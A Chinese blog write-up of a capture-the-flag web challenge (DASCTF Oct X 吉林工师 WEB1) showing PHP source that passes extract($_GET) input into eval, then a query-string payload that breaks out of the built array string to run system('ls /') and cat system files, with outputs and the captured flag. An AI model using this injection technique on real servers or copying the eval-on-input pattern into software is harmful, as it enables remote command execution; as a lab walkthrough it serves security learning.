[WP/命令注入]DASCTF Oct X 吉林工师 WEB1

本文探讨了一篇关于PHP代码执行漏洞的文章,详细解析了如何利用`highlight_file`和`eval`函数进行命令注入。通过构造特定的payload,如`?attrid[0]=0&attrvalue[0]=0`,可以触发命令执行,如`ls`和`cat`命令来获取系统信息。文章还展示了如何读取`/etc/timezone`文件以获取敏感数据。
摘要由CSDN通过智能技术生成

DASCTF Oct X 吉林工师

WEB1

迷路的魔法少女:魔法少女迷失在了代码空间 请寻找她现在在哪

源码
 <?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
}

String2Array($attrstr);

开头extract接收参数生成变量表。

在函数String2Array当中执行了危险函数 eval,可以对其利用以命令执行。

因此构造payload,

首先由合法的eval字符串入手

?attrid[0]=0&attrvalue[0]=0;
array("0"=>"0");

拼接正常逻辑下String2Array()调用的eval参数

"\$array = array("0"=>"0");"

构造非法参数,使非法命令函数溢出。

"\$array = array("0"=>"0");system('ls');(""
attrid[0]=0
attrvalue[0]=0");system('ls /');("

以下只写system的参数

// ls /
bin boot dev etc flag.sh home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var 

// cat /flag.sh
#!/usr/bin/env bash TZ="Tokyo $FLAG" echo "Tokyo $FLAG" > /etc/timezone export FLAG=not_here FLAG=not_here 

// cat /etc/timezone
Tokyo flag{95df6a50-097c-4082-ae02-beaea86d58ab} 
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值